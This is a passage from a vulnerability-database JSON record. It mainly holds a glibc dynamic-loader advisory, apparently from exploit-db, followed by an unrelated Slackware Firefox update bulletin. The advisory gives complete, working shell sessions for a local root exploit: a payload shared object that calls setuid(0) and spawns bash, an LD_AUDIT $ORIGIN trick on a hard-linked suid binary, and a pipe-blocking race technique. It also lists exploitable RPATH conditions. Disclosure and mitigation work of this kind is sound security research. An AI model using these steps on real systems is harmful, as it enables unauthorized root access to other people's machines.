_is_dst()\r\n\r\n(in the code below DST is dynamic string token)\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741\r\n\r\n 741 /* Expand DSTs. */\r\n 742 size_t cnt = DL_DST_COUNT (llp, 1);\r\n 743 if (__builtin_expect (cnt == 0, 1))\r\n 744 llp_tmp = strdupa (llp);\r\n 745 else\r\n 746 {\r\n 747 /* Determine the length of the substituted string. */\r\n 748 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);\r\n 749\r\n 750 /* Allocate the necessary memory. */\r\n 751 llp_tmp = (char *) alloca (total + 1);\r\n 752 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);\r\n 753 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245\r\n\r\n 253 if (__builtin_expect (*name == '$', 0))\r\n 254 {\r\n 255 const char *repl = NULL;\r\n 256 size_t len;\r\n 257\r\n 258 ++name;\r\n 259 if ((len = is_dst (start, name, \"ORIGIN\", is_path,\r\n 260 INTUSE(__libc_enable_secure))) != 0)\r\n 261 {\r\n ...\r\n 267 repl = l->l_origin;\r\n 268 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171\r\n\r\n\r\n 202 if (__builtin_expect (secure, 0)\r\n 203 && ((name[len] != '\\0' && (!is_path || name[len] != ':'))\r\n 204 || (name != start + 1 && (!is_path || name[-2] != ':'))))\r\n 205 return 0;\r\n 206\r\n 207 return len;\r\n 208 }\r\n\r\nAs you can see, $ORIGIN is only expanded if it is alone and first in the path.\r\nThis makes little sense, and does not appear to be useful even if there were\r\nno security impact. This was most likely the result of an attempt to re-use the\r\nexisting DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally\r\nintroducing this error.\r\n\r\nPerhaps surprisingly, this error is exploitable.\r\n\r\n--------------------\r\nAffected Software\r\n------------------------\r\n\r\nAt least the following versions have been tested\r\n\r\n 2.12.1, FC13\r\n 2.5, RHEL5 / CentOS5\r\n\r\nOther versions are probably affected, possibly via different vectors. I'm aware\r\nseveral versions of ld.so in common use hit an assertion in dl_open_worker, I\r\ndo not know if it's possible to avoid this.\r\n\r\n--------------------\r\nConsequences\r\n-----------------------\r\n\r\nIt is possible to exploit this flaw to execute arbitrary code as root.\r\n\r\nPlease note, this is a low impact vulnerability that is only of interest to\r\nsecurity professionals and system administrators. End users do not need\r\nto be concerned.\r\n\r\nExploitation would look like the following.\r\n\r\n# Create a directory in /tmp we can control.\r\n$ mkdir /tmp/exploit\r\n\r\n# Link to an suid binary, thus changing the definition of $ORIGIN.\r\n$ ln /bin/ping /tmp/exploit/target\r\n\r\n# Open a file descriptor to the target binary (note: some users are surprised\r\n# to learn exec can be used to manipulate the redirections of the current\r\n# shell if a command is not specified. This is what is happening below).\r\n$ exec 3< /tmp/exploit/target\r\n\r\n# This descriptor should now be accessible via /proc.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*\r\n\r\n# Remove the directory previously created\r\n$ rm -rf /tmp/exploit/\r\n\r\n# The /proc link should still exist, but now will be marked deleted.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)\r\n\r\n# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().\r\n$ cat > payload.c\r\nvoid __attribute__((constructor)) init()\r\n{\r\n setuid(0);\r\n system(\"/bin/bash\");\r\n}\r\n^D\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n$ ls -l /tmp/exploit\r\n-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*\r\n\r\n# Now force the link in /proc to load $ORIGIN via LD_AUDIT.\r\n$ LD_AUDIT=\"\\$ORIGIN\" exec /proc/self/fd/3\r\nsh-4.1# whoami\r\nroot\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\n-------------------\r\nMitigation\r\n-----------------------\r\n\r\nIt is a good idea to prevent users from creating files on filesystems mounted\r\nwithout nosuid. The following interesting solution for administrators who\r\ncannot modify their partitioning scheme was suggested to me by Rob Holland\r\n(@robholland):\r\n\r\nYou can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,\r\nfor example:\r\n\r\n# mount -o bind /tmp /tmp\r\n# mount -o remount,bind,nosuid /tmp /tmp\r\n\r\nBe aware of race conditions at boot via crond/atd/etc, and users with\r\nreferences to existing directories (man lsof), but this may be an acceptable\r\nworkaround until a patch is ready for deployment.\r\n\r\n(Of course you need to do this everywhere untrusted users can make links to\r\nsuid/sgid binaries. find(1) is your friend).\r\n\r\nIf someone wants to create an init script that would automate this at boot for\r\ntheir distribution, I'm sure it would be appreciated by other administrators.\r\n\r\n-------------------\r\nSolution\r\n-----------------------\r\n\r\nMajor distributions should be releasing updated glibc packages shortly.\r\n\r\n-------------------\r\nCredit\r\n-----------------------\r\n\r\nThis bug was discovered by Tavis Ormandy.\r\n\r\n-------------------\r\nGreetz\r\n-----------------------\r\n\r\nGreetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,\r\nAsirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,\r\nand all my other elite friends and colleagues.\r\n\r\nAdditional greetz to the openwall guys who saw this problem coming years ago.\r\nThey continue to avoid hundreds of security vulnerabilities each year thanks to\r\ntheir insight into systems security.\r\n\r\nhttp://www.openwall.com/owl/\r\n\r\n-------------------\r\nNotes\r\n-----------------------\r\n\r\nThere are several known techniques to exploit dynamic loader bugs for suid\r\nbinaries, the fexecve() technique listed in the Consequences section above is a\r\nmodern technique, making use of relatively recent Linux kernel features (it was\r\nfirst suggested to me by Adam Langley while discussing CVE-2009-1894, but I\r\nbelieve Gabriel Campana came up with the same solution independently).\r\n\r\nThe classic UNIX technique is a little less elegant, but has the advantage that\r\nread access is not required for the target binary. It is rather common for\r\nadministrators to remove read access from suid binaries in order to make\r\nattackers work a little harder, so I will document it here for reference.\r\n\r\nThe basic idea is to create a pipe(), fill it up with junk (pipes have 2^16\r\nbytes capacity on Linux, see the section on \"Pipe Capacity\" in pipe(7) from the\r\nLinux Programmers Manual), then dup2() it to stderr. Following the dup2(),\r\nanything written to stderr will block, so you simply execve() and then make the\r\nloader print some error message, allowing you to reliably win any race\r\ncondition.\r\n\r\nLD_DEBUG has always been a a good candidate for getting error messages on\r\nLinux. The behaviour of LD_DEBUG was modified a few years ago in response to\r\nsome minor complaints about information leaks, but it can still be used with a\r\nslight modification (I first learned of this technique from a bugtraq posting\r\nby Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281).\r\n\r\nThe exploit flow for this alternative attack is a little more complicated, but\r\nwe can still use the shell to do it (this session is from an FC13 system,\r\noutput cleaned up for clarity).\r\n\r\n# Almost fill up a pipe with junk, then dup2() it to stderr using redirection.\r\n$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT=\"\\$ORIGIN\" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &\r\n[1] 26926\r\n\r\n# Now ld.so is blocked on write() in the background trying to say \"invalid\r\n# debug option\", so we are free to manipulate the filesystem.\r\n$ rm -rf /tmp/exploit/\r\n\r\n# Put exploit payload in place.\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n\r\n# Clear the pipe by killing sleep, letting cat drain the contents. This will\r\n# unblock the target, allowing it to continue.\r\n$ pkill -n -t $(tty | sed 's#/dev/##') sleep\r\n-bash: line 99: 26929 Terminated sleep 1h\r\n\r\n# And now we can take control of a root shell :-)\r\n$ fg\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\nAnother technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then\r\nwhile the loader is trying to map lots of memory, you have a good chance of\r\nwinning any race. I previously found an integer overflow in this feature and\r\nsuggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc\r\nmaintainers disagreed and just fixed the overflow.\r\n\r\nhttp://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html\r\n\r\nI believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the\r\nnext big loader bug is going to be, it's just not safe to let attackers have\r\nthat much control over the execution environment of privileged programs.\r\n\r\nFinally, some notes on ELF security for newcomers. The following common\r\nconditions are usually exploitable:\r\n\r\n - An empty DT_RPATH, i.e. -Wl,-rpath,\"\"\r\n This is a surprisingly common build error, due to variable expansion\r\n failing during the build process.\r\n - A relative, rather than absolute DT_RPATH.\r\n For example, -Wl,-rpath,\"lib/foo\".\r\n\r\nI'll leave it as an exercise for the interested reader to explain why. Remember\r\nto also follow DT_NEEDED dependencies, as dependencies can also declare rpaths\r\nfor their dependencies, and so on.\r\n\r\n-------------------\r\nReferences\r\n-----------------------\r\n\r\n- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.\r\n- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual.\r\n- http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux Programmer's Manual.\r\n- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.\r\n- Partitioning schemes and security, http://my.opera.com/taviso/blog/show.dml/654574\r\n- CVE-2009-1894 description, http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html\r\n\r\nYou should subscribe to Linux Weekly News and help support their high standard\r\nof security journalism.\r\n\r\nhttp://lwn.net/\r\n\r\nI have a twitter account where I occasionally comment on security topics.\r\n\r\nhttp://twitter.com/taviso\r\n\r\nex$$", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/15274/"}], "slackware": [{"lastseen": "2018-02-02T18:11:33", "bulletinFamily": "unix", "description": "New mozilla-firefox packages are available for Slackware 13.0, 13.1,\nand -current to fix a regression.\n\n\nHere are the details from the Slackware 13.1 ChangeLog:\n\npatches/packages/mozilla-firefox-3.6.8-i686-1.txz: Upgraded.\n This fixes a regression in Firefox 3.6.7.\n For more information, see:\n http://www.mozilla.org/security/known-vulnerabilities/firefox36.html\n (* Security fix *)\n\nWhere to find the new packages:\n\nHINT: Getting slow download speeds from ftp.slackware.com?\nGive slackware.osuosl.org a try. This is another primary FTP site\nfor Slackware that can be considerably faster than downloading\ndirectly from ftp.slackware.com.\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating additional FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the "Get Slack" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated package for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/mozilla-firefox-3.6.8-i686-1.txz\n\nUpdated package for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/mozilla-firefox-3.6.8-x86_64-1_slack13.0.txz\n\nUpdated package for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/mozilla-firefox-3.6.8-i686-1.txz\n\nUpdated package for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/mozilla-firefox-3.6.8-x86_64-1_slack13.1.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/xap/mozilla-firefox-3.6.8-i686-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/xap/mozilla-firefox-3.6.8-x86_64-1.txz\n\n\nMD5 signatures:\n\nSlackware 12.2 package:\n44a3d85cb39de9b698fc266ea54ce1fa mozilla-firefox-3.0.19-i686-1.tgz\n\nSlackware 13.0 package:\n4a00d33baba7adb6a8f0ad4d12d02c86 mozilla-firefox-3.6.8-i686-1.txz\n\nSlackware x86_64 13.0 package:\n6352a44f086d17b296bda093df7fcb6a mozilla-firefox-3.6.8-x86_64-1_slack13.0.txz\n\nSlackware 13.1 package:\n4a00d33baba7adb6a8f0ad4d12d02c86 mozilla-firefox-3.6.8-i686-1.txz\n\nSlackware x86_64 13.1 package:\nb7ca8139147a6b88ea1b6978dc36221d mozilla-firefox-3.6.8-x86_64-1_slack13.1.txz\n\nSlackware -current package:\n4a00d33baba7adb6a8f0ad4d12d02c86 xap/mozilla-firefox-3.6.8-i686-1.txz\n\nSlackware x86_64 -current package:\na564c8307d2e4f276839beadd0a6d730 xap/mozilla-firefox-3.6.8-x86_64-1.txz\n\n\nInstallation instructions:\n\nUpgrade the package as root:\n > upgradepkg mozilla-firefox-3.6.8-i686-1.txz", "modified": "2010-07-24T10:06:56", "published": "2010-07-24T10:06:56", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2010&m=slackware-security.423956", "id": "SSA-2010-204-01", "title": "mozilla-firefox", "type": "slackware", "cvss": {"score": 0.0, "vector": "NONE"}}]}
